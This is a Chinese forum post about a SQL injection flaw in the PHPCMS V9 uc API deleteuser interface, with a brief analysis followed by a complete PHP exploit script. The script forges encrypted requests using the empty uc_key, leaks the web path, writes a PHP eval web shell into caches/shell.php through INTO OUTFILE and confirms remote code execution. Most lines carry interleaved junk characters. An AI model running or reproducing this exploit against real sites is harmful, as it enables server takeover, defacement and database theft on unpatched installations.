找回密码
 立即注册
查看: 2303|回复: 0
打印 上一主题 下一主题

PHPCMS V9 uc API SQL注入漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-9 01:22:59 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
PHPCMS V9版于2010年推出,是应用较为广泛的建站工具。第三方数据显示,目前使用PHPCMS V9搭建的网站数量多达数十万个,包括联合国儿童基金会等机构网站,以及大批企业网站均使用PHPCMS V9搭建和维护。
( z( y8 }- W2 E2 |, z5 G* S4 I& `9 A7 c7 o5 v2 z
所有使用PHPCMSV9搭建的网站均存在SQL注入漏洞,可能使黑客利用漏洞篡改网页、窃取数据库,甚至控制服务器。未启用ucenter服务的情况下,uc_key为空,define('UC_KEY', pc_base::load_config('system', 'uc_key'));deleteuser接口存在SQL注入漏洞。若MYSQL具有权限,可直接get webshell。2 w7 ]8 k& V# Q4 M+ E1 A2 k8 C8 F

3 e3 B  `; N; T漏洞分析:
+ f3 R/ h  \) K8 ~% i% f! ~6 ~1.未启用ucenter服务的情况下uc_key为空
! J; n: H3 C/ M( H, |define('UC_KEY', pc_base::load_config('system', 'uc_key'));) P3 v9 Z* h' i. E' l  [
2. deleteuser接口存在SQL注入漏洞,UC算法加密的参数无惧GPC,程序员未意识到$get['ids']会存在SQL注入情况。/ A& }4 u4 Q7 o
    public function deleteuser($get,$post) {) L  c7 L) o2 X" E
        pc_base::load_app_func('global', 'admin');& z$ C: [& B4 f) \1 r
        pc_base::load_app_class('messagequeue', 'admin' , 0);7 L4 R8 J! r/ M
        $ids = new_stripslashes($get['ids']);
0 g* T0 D5 B$ N" _* ]        $s = $this->member_db->select("ucuserid in ($ids)", "uid");$ A$ q' G. d1 q, X* {
SQL语句为
9 `: ~* I3 I- H9 f; sSELECT `uid` FROM `phpcmsv9`.`v9_sso_members` WHERE ucuserid in ($ids)
  x( D% O7 m! s* I2 c+ p+ B- N4 i7 [/ I7 }+ D
利用代码,随便拼了个EXP,找路径正则写得很挫有BUG,没有注其他表了,懒得改了,MYSQL有权限的话直接get webshell! {0 e3 I$ t% z, C
<?php
2 T% S0 E( v4 h, R+ |% Oprint_r('
* |( c- n7 ]& \( f, q% \# y---------------------------------------------------------------------------9 R1 R7 |" H  p! N: C
PHPcms (v9 or Old Version) uc api sql injection 0day
8 d" S* q6 F: l- }8 X2 ]by rayh4c#80sec.com
; O$ \7 y2 m5 w: K. Y) ]! }% F; b---------------------------------------------------------------------------
" @  [. g6 U# g0 ~  H');
( l5 B. x: c0 u3 \
, M2 Z/ z5 p! x/ |4 Oif ($argc<3) {
0 y& b6 o3 x( [/ M+ b) \+ l    print_r('
  i8 ]3 n' _7 m0 C1 @3 j---------------------------------------------------------------------------
# K2 J2 P9 _3 `% v3 _Usage: php '.$argv[0].' host path OPTIONS# Z: [' m4 I( Y, }3 P0 e) p
host:      target server (ip/hostname)$ a2 s9 b+ R' r# x' q" q
path:      path to phpcms
. D4 |# Q, ^2 k, A  {/ cOptions:$ h) f/ W- L4 A- L* D* @2 @2 y
-p[port]:    specify a port other than 80
2 R  h) H/ K+ r -P[ip:port]: specify a proxy. K- h5 I2 A! |* e' h0 b
Example:7 @# K5 M. U! s
php '.$argv[0].' localhost /
& C0 f7 K% f) }6 Z  }9 f  z  j) ^php '.$argv[0].' localhost /phpcms/ -p81
) x: Q- z) O8 Pphp '.$argv[0].' localhost /phpcms/ -P1.1.1.1:800 B! n$ C" M& z$ f/ @
---------------------------------------------------------------------------
1 j. v# I0 I) G3 {0 K');9 q" J' E# [- P% d! E
    die;
& B0 I9 j. n$ w5 d1 _- a}, m& P* q% ?* Q, l  i
. X: q* u" R, ]: x' t+ \& [: z* v
error_reporting(7);! ^! Z! j; R* N0 L
ini_set("max_execution_time",0);8 o0 {# a- l2 H0 F2 q
ini_set("default_socket_timeout",5);
# ?9 Y, e  G+ H1 N! }1 K
: Z) l- ]& }' i5 p7 [function quick_dump($string)" `5 U: i- I& u2 x/ [  o
{9 C0 \0 }8 n6 s- ?: q
  $result='';$exa='';$cont=0;6 _2 ~! a% ?$ g0 |
  for ($i=0; $i<=strlen($string)-1; $i++)
* V/ r" r) S" W0 L. J* o  {
# X9 t* }+ T3 i' _   if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
# X* p! f1 C$ I, y" ?# m# [0 T   {$result.="  .";}
, L% k; u. _7 n$ B  P+ G, U   else! t; [/ f0 W! R% D8 Y1 g) ?
   {$result.="  ".$string[$i];}
  X* q! ]* A; \& r$ b( u   if (strlen(dechex(ord($string[$i])))==2)$ I& N, P0 Y6 c4 b3 i* q) `9 y6 z8 k
   {$exa.=" ".dechex(ord($string[$i]));}0 w6 e" T! C% U- R5 n
   else3 Y$ M1 `  }! w; p3 T! ^
   {$exa.=" 0".dechex(ord($string[$i]));}
) F! P/ E7 h- o; d   $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}
% [2 S6 w7 w( J+ z  }6 E4 n6 `$ R: A! {
return $exa."\r\n".$result;9 {: N+ ~  p3 \
}, G6 F( C* x$ q3 ^+ [3 _
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
, s; O' H' a. g- g- J) s
0 q: o8 m" x3 h% a- D2 Pfunction send($packet)( o  L' i9 j- i
{
* h5 ~$ R4 H9 R2 f8 T  global $proxy, $host, $port, $html, $proxy_regex;% b, M1 g, ^. [' P
  if ($proxy=='') {
, u  @) o3 @" A$ ?2 R1 {    $ock=fsockopen(gethostbyname($host),$port);( z+ A0 q2 G' i6 q3 _( @' l
    if (!$ock) {
7 M; E6 R$ e4 L6 z9 _      echo 'No response from '.$host.':'.$port; die;
0 n5 ~6 C8 _3 Y* Y8 b    }
/ W' u6 I( ~5 G" h8 k  }6 B1 a; H+ h! C/ ]- `% i, l+ Z: ]
  else {. I2 e$ _8 D" M* O+ T9 N: W; i
        $c = preg_match($proxy_regex,$proxy);6 N! q+ c% z9 X  }5 H. X
    if (!$c) {2 {7 @( |: `9 Z9 z% D- P9 ^
      echo 'Not a valid proxy...';die;7 Z3 g8 }, ?; R
    }
. M) _) @/ A& J, e    $parts=explode(':',$proxy);
3 u* ?- u% r. {; V, N$ Y# C  c    $parts[1]=(int)$parts[1];
; ]9 i8 L; a* U$ K& p+ S    echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";% S1 C3 b. D: W9 W' t9 \0 I- J
    $ock=fsockopen($parts[0],$parts[1]);/ s9 G% |. D- F# a8 ^: p0 A8 n, ?
    if (!$ock) {
; v" S/ U1 f+ m& J      echo 'No response from proxy...';die;* B; _, G$ x" r0 G, D4 x
        }7 w2 ?) b& L2 u# I3 K- x& V
  }9 A$ h* {2 y- z  v
  fputs($ock,$packet);
0 I; C/ G4 S6 u+ |6 q: o( o. P/ B  if ($proxy=='') {
# v7 x) r4 @) S. `* k1 g    $html='';$ f, B3 r2 y- o6 I$ S$ ?$ |
    while (!feof($ock)) {
6 |4 @; @! }" _$ i      $html.=fgets($ock);
, ]4 H- _1 Z( m8 F    }
5 w3 n; @" F9 k  }
4 }% \. }  _: c+ [) s  else {
8 a& J, p' [0 F& W# {# R( A' e    $html='';2 ~4 B, N0 J' d6 [) O
    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
. f9 ?2 W& H1 g1 O7 ]( i" N      $html.=fread($ock,1);
# K* S9 w1 ]: _6 Z* H* q' i& d    }2 K; ^1 ~& @* R& ?  y( @, A
  }
+ Q) t* i' T9 H, b9 W7 [  fclose($ock);
- H5 P5 J% i; I% Y6 Z+ z4 z1 L' J}
5 ?9 b- S( W& u1 K$ V" R, ]/ O3 p8 U' I. P, V
$host=$argv[1];5 h; |) h6 `( A/ f
$path=$argv[2];
! t( h9 Y% P$ a2 e$port=80;- N. G( X; c5 z6 Q! p, I( R
$proxy="";  U" n# s6 ^0 ?3 r
for ($i=3; $i<$argc; $i++){, c. \" z$ d; i# E$ [! y$ h
$temp=$argv[$i][0].$argv[$i][1];1 W3 ?4 J* }0 p+ z0 q" X  Y) q
if ($temp=="-p")
4 |! u5 c( [0 |1 D& X" Z' N{
/ |  v+ ]  [# `% S  $port=(int)str_replace("-p","",$argv[$i]);' I' S4 |; Z8 O; M% |3 j9 f* T/ J
}- S: `$ N  [+ R& J: }' L/ t
if ($temp=="-P")
! E8 B. M5 {: @9 c8 M- P{; `. u) |# V' Z4 a! }# c3 @  H
  $proxy=str_replace("-P","",$argv[$i]);
( k) O( F  M4 g, z}
2 [0 w. Y& [( N8 a" g! `: Q' j}7 B5 d$ [: E. S& ~# n1 x- S
3 ]; e  N9 v/ ?: G9 \  z8 X6 j- l
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
" x. T$ O- ~& F- c' eif ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}
% ~. J( [; R9 W! m0 y3 s/ T/ A, V* U; {6 I0 v5 z" Q  K  n( d
function authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {
& b) G% s1 n8 Z  T. y3 f8 W
& n7 ]+ f; J7 v1 G    $ckey_length = 4;
2 y' i5 r- G5 c3 w! o
1 g9 Z1 J2 z6 w. ~" ?( n( g3 Z5 Q    $key = md5($key ? $key : '');7 X; M3 {5 |; o
    $keya = md5(substr($key, 0, 16));+ n6 t* U4 H7 x% v% N
    $keyb = md5(substr($key, 16, 16));
; }3 e2 `7 F5 Q+ M    $keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';
) z8 y  e$ _/ ~# v
0 u; L+ p, R" C8 O    $cryptkey = $keya.md5($keya.$keyc);
7 s' s! J3 d/ e% }    $key_length = strlen($cryptkey);. d! f  ^* S# X. r$ _
" `% M) ~# y5 t- q& Z+ c
    $string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;' C0 `5 x4 J! V7 p
    $string_length = strlen($string);4 _6 A* Q9 \  p! ?/ V! ^

4 x# d% p$ o3 H( p/ G0 |1 t1 p    $result = '';
5 j6 r2 j0 r9 X! `    $box = range(0, 255);& K0 {2 X& X& g0 F3 y8 E2 y
3 z" S; M+ X4 b# R& \
    $rndkey = array();) j# C$ m- X+ A7 s( L# i6 |% f2 k
    for($i = 0; $i <= 255; $i++) {+ m' k& P6 r  _
        $rndkey[$i] = ord($cryptkey[$i % $key_length]);: v8 i& c6 O1 |; H% r
    }
* m* F3 y/ P) w) d# y2 @1 g" B$ ?+ y% ^" e5 i) O
    for($j = $i = 0; $i < 256; $i++) {
# T! Z" K5 @  w, D3 G7 P        $j = ($j + $box[$i] + $rndkey[$i]) % 256;
0 |+ R, w7 ^1 Q        $tmp = $box[$i];. r( P/ f# R* t: b+ r. m& J$ D/ U
        $box[$i] = $box[$j];' m! {8 Y) k+ h9 e# ?% J
        $box[$j] = $tmp;- L$ v. {- t' P
    }7 M5 h, o4 G' Y6 G: r/ _4 a8 {5 N

+ i8 z  G: U& P* p4 {) l; o+ `    for($a = $j = $i = 0; $i < $string_length; $i++) {
8 Z! y3 O- {0 e! l$ O" \        $a = ($a + 1) % 256;
8 t+ g. U- R& c, d        $j = ($j + $box[$a]) % 256;
( p7 m( s' A: G5 M3 _        $tmp = $box[$a];
% N( b6 j6 V1 Z( r        $box[$a] = $box[$j];* J7 A# S0 @& L& y0 w/ c& c
        $box[$j] = $tmp;
) Y- t* P9 f, _+ e/ [" b3 W        $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));" n, M- i/ }. [+ |
    }9 F; d' d+ F$ B4 ?! Q. h
. P$ ^8 ?6 }6 v% F6 b7 e! R
    if($operation == 'DECODE') {- T7 P2 x. z; o2 s" G' S& @$ k  }
        if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {% L$ C: t9 M0 w) ]6 e# _
            return substr($result, 26);
3 u/ A# E2 Q( P. r) X- r        } else {
0 c; X$ w0 N3 }% m# O            return '';0 @; ^0 F8 o, R8 }* ?( [4 a
        }
' N& J8 A( N# t# V    } else {# M8 }' q' w) A" K2 F8 I3 C. a& R* s
        return $keyc.str_replace('=', '', base64_encode($result));6 T# F; x  b+ z) \5 M1 N
    }
9 ?; ^# f/ W" [8 M5 X/ ^, }; }; t( f$ U# h9 |8 x
}
. R4 s+ _3 O: \0 a1 u
. X9 w1 b! ~- z2 S! o/ n% q$ O: o$SQL = "time=999999999999999999999999&ids=1'&action=deleteuser";
) G- \. |3 L) I1 v$SQL = urlencode(authcode($SQL, "ENCODE", ""));
  r  l9 m& N7 ]7 A: Iecho "[1] 访问 http://".$host.$p."phpsso_server/api/uc.php?code=".$SQL."\n";0 [0 s' Z* V3 `) B0 x
$packet ="GET ".$p."phpsso_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n";
7 ]: r9 Z: n: M- W; ?- _3 ~9 k$packet.="User-Agent: Mozilla/5.0\r\n";8 d$ U8 o7 k; }" y3 |$ M
$packet.="Host: ".$host."\r\n";* J% z" k+ ?; K. z
$packet.="Connection: Close\r\n\r\n";
- H! w4 t0 @: gsend($packet);9 ~: ]' G8 m7 K6 a) K) H8 v
if(strpos($html,"MySQL Errno") > 0){
: W) R. c! @8 a: @2 z7 J; g- S& d+ mecho "[2] 发现存在SQL注入漏洞"."\n";5 z7 L/ Z' h1 u: H( _: G# f( y
echo "[3] 访问 http://".$host.$p."phpsso_server/api/logout.php \n";
' Z  R7 n- a( c( F/ Q$packet ="GET ".$p."phpsso_server/api/logout.php"." HTTP/1.0\r\n";7 T+ O: t4 V0 `; W  H  c
$packet.="User-Agent: Mozilla/5.0\r\n";0 r$ g- B7 x. D4 O- N7 e
$packet.="Host: ".$host."\r\n";8 |! G( b- n: R1 z6 y
$packet.="Connection: Close\r\n\r\n";% [1 _) K9 R( v0 q) X, T/ ?
send($packet);
& k; g; o: l5 V6 C; H' `preg_match('/[A-Za-z]?[:]?[\/\x5c][^<^>]+[\/\x5c]phpsso_server[\/\x5c]/',$html, $matches);8 ?, n, V0 E' ~' t4 g$ m. n
//print_r($matches);
8 w' V4 k" l. v' I% I/ ]: |4 `if(!empty($matches)){
7 x. |+ u! g% D! {echo "[4] 得到web路径 " . $matches[0]."\n";
' X  h; q  T- d& z& G& _echo "[5] 尝试写入文件 ". str_replace("\\","/",$matches[0]) ."caches/shell.php"."\n";- I- K8 T5 f; ?+ B) Z/ w& d8 F
$SQL = "time=999999999999999999999999&ids=1)";, P% \" E# ~9 b) X- S
$SQL.=" and 1=2 union select '<?php eval($"."_REQUEST[a]);?>' into outfile '". str_replace("\\","/",$matches[0]) ."caches/shell.php'#";5 p8 W) i0 `/ _- f& k( M! T. B
$SQL.="&action=deleteuser";
+ f2 F; A1 @" B" c, n$SQL = urlencode(authcode($SQL, "ENCODE", ""));2 i3 B" O7 x; R" l1 D! Z( |
echo "[6] 访问 http://".$host.$p."phpsso_server/api/uc.php?code=".$SQL."\n";! z0 I; s# b' {  ^. G0 Y& ]
$packet ="GET ".$p."phpsso_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n";
5 G* [+ \& c5 V+ i8 R$packet.="User-Agent: Mozilla/5.0\r\n";
9 ~& C/ {* L0 V' m) C3 C) S$packet.="Host: ".$host."\r\n";# N* K: g9 R% H- n% i
$packet.="Connection: Close\r\n\r\n";+ V# a; f" z- O- Q, s. \
send($packet);
' v  M* C7 w$ }2 S0 a* xif(strpos($html,"Access denied") > 0){
+ q5 p) i& v. \) r, Q+ v, zecho "[-] MYSQL权限过低 禁止写入文件 ";
7 i- m( t7 E, O% l- xdie;
' ^" r2 g1 M6 S! A}9 a! L; ]9 u9 Z7 e% _; j: S) z! q
echo "[6] 访问 http://".$host.$p."phpsso_server/caches/shell.php"."\n";5 D8 T2 Z" O) M1 a  v
$packet ="GET ".$p."phpsso_server/caches/shell.php?a=phpinfo(); HTTP/1.0\r\n";/ @8 y! S3 X. f/ U. c# b+ t
$packet.="User-Agent: Mozilla/5.0\r\n";
) W# w& G! m, U( H& {$packet.="Host: ".$host."\r\n";
% i/ k, T. f/ m$packet.="Connection: Close\r\n\r\n";
. v5 r& |' K7 V$ y& Vsend($packet);# j8 M& a/ B7 k0 B: c5 b  q  U3 ^) i
if(strpos($html,"<title>phpinfo()</title>") > 0){- O7 a/ P  X' m6 {) C
echo "[7] 测试phpinfo成功!shell密码是a ! enjoy it ";" Z' N4 Y& Z+ R
}
6 y& W% y4 R8 r5 @8 _}else{) j6 P. \5 t( D  J
echo "[-]未取到web路径 ";8 c+ u3 i- f) U1 q" {
}6 Z- Z7 O1 g9 W* \! f1 p8 ]% l% R
}else{, @1 i+ e3 y  y& _1 J
echo "[*]不存在SQL注入漏洞"."\n";  I$ ^0 ^8 h4 a. ]
}
3 Z. a  _+ T9 M0 b2 W
  j5 ?3 G9 G  J, Z6 [?>
- v& ^8 A4 n" Q* G  i% D
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表